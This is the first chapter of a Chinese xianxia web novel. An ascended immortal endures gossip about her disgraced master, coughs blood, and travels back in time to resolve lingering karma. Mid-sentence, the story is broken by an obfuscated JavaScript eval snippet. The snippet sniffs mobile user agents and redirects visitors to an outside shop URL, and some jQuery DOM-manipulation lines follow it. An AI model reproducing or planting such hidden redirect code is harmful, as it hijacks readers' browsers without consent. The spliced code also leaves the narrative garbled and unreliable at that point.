修真界有对臭名昭著的师徒,一个成了废物,一个当了逃兵。
事起于某年某月某日白玉京山门外,来了个自称人族始祖转世的小娃娃。
说来也怪,仙门百家竟也信了稚子之言,领其入门传道授业。小娃娃倒真有几分慧根,修行年岁不久就成了仙君,坐上了白玉京长老的位置。
后来时逢三界大乱,三族不知缘由的纷争频现,等到战火烧到白玉京的那一日,这位人祖转世挺身而出。
然后他败了。
是的,自称继承了始祖之力的天才,连自家宗门都没能守住,“人祖”成了招摇撞骗欺世盗名的骗子,人人喊打人人唾弃。
时光荏苒,眼瞅着有关人祖的风波将要平息些时,人祖仙君转头又收了个徒弟。
一脉相承之下,徒弟也是个自命不凡的,仗着自己天资卓绝在白玉京内惹事生非胆大包天,张狂到无以复加,扬言要做天下第一。
众人只好扼腕叹息,实乃三界之败笔!
这世人为之厌恶的师徒俩,结局截然不同。最后一场三界大战,师尊被一个走火入魔的散修一剑刺了个对穿,抽干了灵气成了废人,而这徒弟更是离谱,她直接没参与这场大战,同门在前线厮杀时,她竟充耳不闻,躲在角落里独自破境飞升了......
*
无上仙域,三界众生成道飞升后所居之地。
云雾袅袅随风散尽,便见浮光跃金,静影沉璧。群山环伺间立了个好不气派的仙人洞府。府门正中央挂着个牌匾,笔走游龙地刻着几个大字——伏天仙尊云寂洞天。恰逢伏天仙尊君红笺光荣飞升的第一百零八年纪辰,她躺在洞府里仰天长叹。
无他,耳边有人喋喋不休。
那些飞升前的陈芝麻烂谷子,守羽仙尊最爱翻来覆去地讲,亦如此时此刻,他手捧着不知打哪来的一本《修真界八卦合集》,兴冲冲凑到君红笺跟前,指着书中那两个传奇师徒问她:“伏天,这说的是你吗?你知道下界如此评价你吗?诶,你师尊当真是冒充的人祖吗?那你知道他最后死在哪里了吗?还有啊,你真在大战时躲起来破境了吗?”
扰得人耳根生疼,气血翻涌。君红笺面上挂着笑,实则很是不耐,道:“是,不知,不知,不知,不知。”
守羽仙尊道:“敷衍我?旁的你不知就算了,你自己的事也不知?”
君红笺答:“我的意思是,我根本不知有这场大战。”
她向来独来独往,与人皆是点头之交——至少她是这么认为的,因而常有闭关时间过久也无人无津的情况。飞升那次也是如此,闭关前白玉京一切正常,闭关后白玉京......那她无从知晓,闭关就是为了破境,破境后就飞升到了无上仙域,之后再不曾过问下界如何。
守羽仙尊啧啧称奇:“你这命也太好了。”
“那确实。”君红笺坦然:“问道飞升,不曾遇过波折。”
若论道途坦荡,她说第一没人敢说第二。什么断情绝爱什么杀夫证道,统统不曾经历过,自始至终顺其自然,平常地生活平常地修行,平常地抵达无上仙域。
守羽仙尊道:“那非议你两句也是情有可原。”
半点苦头不曾吃,却等达到常人终生不可及的高度,也活该遭人嫉恨。
君红笺不以为然:“这算什么,比这难听的多了去了。”
守羽仙尊:“比如呢?”
比如?比如就连坊间茶楼说书人都没少编排她,说她孤女出身得遇高人点化,方能开悟走上修真之路,却不想她竟将高人的几句随口夸赞当了真,天天叫嚷着要做天下第一。说她与她师尊是一丘之貉,一个招摇撞骗一个年少轻狂,叫仙人们蒙羞,合该降个天雷劈死他们二人,丢到荒渊都不见得有妖魔鬼怪愿意吃了他俩,可能还要反过头说一句“罪过罪过”。
守羽仙尊来了兴致,“你当时知道你师尊名声这样糟吗?为何就选了他做师尊?诶,指不定你当年要是换个人来拜,飞升后还能成下界美谈呢。”
君红笺却说:“我知道啊,换人?我不,拜我师尊没别的原因,就因为他强。”
当时入山门拜师尊,她挑来选去就盯上了肃止仙君雁南归。不为别的,单凭他在白玉京里声名狼藉,却还能稳坐一席长老之位,想也知道必是有什么过人之处。果然,此人实力高深莫测,白玉京内鲜有敌手。拜师三年,君红笺顶着雁南归弟子的名头,在白玉京内上蹿下跳撵鸡逗狗。看似不务正业,修为却是日日精进,最爱闲来无事拉人切磋。打得过就仰天大笑,打不过就扯人后腿非要打赢才作罢,惹了事丢下一句“师承肃止仙君。”便潇洒离去,直叫人恨得牙痒痒。
守羽仙尊抱拳赞叹:“骂你真没骂错,你真该啊。”
“流言蜚语真真假假,坊间连我儿时碾死的蚂蚁都算作罪证,只恨找不到更多证据彰显我罄竹难书。”君红笺叹气,恍然间略感丹田处有些胀痛,“愿说就说,只要有能耐别让那些脏话传到我耳朵里。”
守羽仙尊道:“你当如何?等等,你怎知坊间如何评说你?”
当然是亲耳听到的了。
那时她刚好除完妖路过茶楼,台上说书先生说得血脉偾张,台下众看客听得气愤不已,满堂骂声此起彼伏,唯独她稳坐其间没忍住噗嗤一声笑。自然是引得众人侧目,彼时她一席银白衣袍,明金的卷草纹刺绣从后背延伸到肩颈两侧,袖口宽大,隐隐露出半截皮面描银的护腕,就这么大咧咧坐在角落,抱臂翘着二郎腿,笑眯眯地回望众人。
守羽仙尊抱书后仰:“你们当场吵起来了?”
君红笺道:“怎会。”
那群看客又不知她姓甚名谁,只晓得她是下山除妖的仙门弟子,登时转脸皆是一阵阿谀奉承,那是要多恭敬有多恭敬,要多虔诚有多虔诚。君红笺面上眉眼弯弯,心里腹诽:若不是在这听了全程,倒是真信了这些鬼话。而后又有人问她对这师徒俩有什么看法,君红笺只答了两句:
“此时年少,年少轻狂。何错之有?”
“仙门尊者,招摇撞骗。何从说起?”
守羽仙尊越听越入迷:“然后呢然后呢?”
君红笺道:“然后他们问我为何这样说,我说自然是因为我就是你们口中那个自命不凡的轻狂之辈,说完他们就都白了脸。”
世事如此,凡人依仗仙门百家的庇佑,却要求仙门之人白璧无瑕。当面都是做足了毕恭毕敬的姿态,背地里又捏着鼻子说三道四。说到底不过是苛责,济时拯世的英雄怎是能如凡人一般衣带沾尘。管他什么人无完人,管他什么谣言不可信。仙人嘛,就该稳坐高台处事淡然,立志以拯救苍生为己任。要临难毋苟免,更要士见危致命。
是以君红笺道:“所以我也不同他们计较,只说再叫我听到什么闲言碎语,我就砸了他们茶楼。他们果然就知错了,拱着手说再不会了。”
守羽仙尊汗颜:“那是知错了吗......”
分明是吓破胆了。
讲完了那些旧事,守羽仙尊犹不知足还要再听,君红笺摆手,只觉得说不上哪里阵阵灼痛。
守羽仙尊有些无趣,又继续捧着《修真界八卦合集》喋喋不休:“听闻下界又有个修真人士飞升失败了,活
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563854|204642||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
生生挨了好几道天雷,可叫一个外焦里嫩惨不忍睹。说起来,下界太平了多少年了?果然是安逸惯了,修行都不如我们那时候刻苦,这都多久没有新人上来了!”
君红笺不应。
“还有个什么天骄,说是被寄予厚望,整个宗门上下攒了不知道多少灵丹妙药,悉数全塞给了他,险些给小天骄吃成饕餮。可宗门之人不以为然,只盼着他能早日飞升呢。可怜我都是小小年纪独自讨生活,好在积攒一身修为,这才有了今日。”
君红笺还是不应。
“诶,我还听说......”
这次君红笺有反应了。守羽仙尊的囫囵话还卡在嘴边没来及倒出,就见君红笺猛然侧身扶住石床边缘,偏头一口血就喷了满地。
“?!”守羽仙尊嘴里喊着“真人神仙呀”,起身躲着那一大摊子血,登时急得手忙脚乱:“这这这,便是我话多了些,却也不至于几句就听得你吐血吧?!”
“......倒也不至于。”
原以为是被扰的气血翻涌,怎料当真莫名一口老血喷了出来。
君红笺抹了把嘴角残留的血渍,道:“天妒英才啊。”
可见命途太顺遂时,连天道都会妒忌。
守羽仙尊拎着衣摆跨到另一边坐下:“不能吧,我怎么不信呢?”
天道能这么小心眼??
“且看本仙尊如何医你。”守羽仙尊一甩衣袖,唤出卦签卦桶,口中念念有词道:“天地阴阳,八卦灵通;净手焚香,无事不占。”
神神叨叨的。
守羽仙尊此人,飞升前就是个云游的命修。逍遥半生,就靠着给人算命占卜吉凶积攒修为,偶尔也赚点零用勉强度日。一朝飞升成仙,却还是改不了做什么事都算上两卦的毛病。
石桌上卦象浮现,却将守羽仙尊难住了。
“什么叫尘缘未尽因果未了?”
君红笺:“你问我吗大师?”
守羽仙尊汗颜,挽尊道:“这不也说明了,祸不在仙域反在下界嘛。”
君红笺:“这都百余年了。”
过去的人早都死透了吧。
“也不定是而今嘛。”守羽仙尊越说越心虚:“从前遗留了因果也未可知嘛。”
君红笺若有所思。
“可别是跟下界哪个小郎君情缘未了,被人家缠了一百多年还......诶,你做什么?”
君红笺踉跄着爬起,踩着血污走到守羽仙尊跟前,把手一伸道:“卦拿来,因果既在下界,大不了重回当年重新问道亲自去找。”
她向来信奉“浮世万千,因果最大”,如今因果摆在面前,哪有躲的道理?左右修习成仙于她而言小事一桩,何妨重头再来。
守羽仙尊呆愣着将那支卦签递出,化作一块通体漆黑的玉佩悬挂在她腰侧。
她闭眼掐诀,霎时金光盈满洞府,几个呼吸间就不见了人影。
“这就走了??”守羽仙尊一把过去扑了个空:“还回来吃饭吗?伏天??”
再睁眼时,山门外霜雪迎风袭来,凛冽中悉数都是久违的味道。
踏上浮山一眼望不到头的登天阶,君红笺顺手拉住过路的弟子,问:“劳驾,请问如今是哪一年?”
路人弟子满脸“此人有病”的神情,却还是回答:“重光六年。”
君红笺掐着指头算,应是入门拜师的第三年。她顺着卦签指引回溯时光,却为何是这个时候?所谓因果尘缘说的是人还是事?
一概不知,但不妨碍她扯起嘴角,笑得肆意。
诸位,伏天仙尊回来了!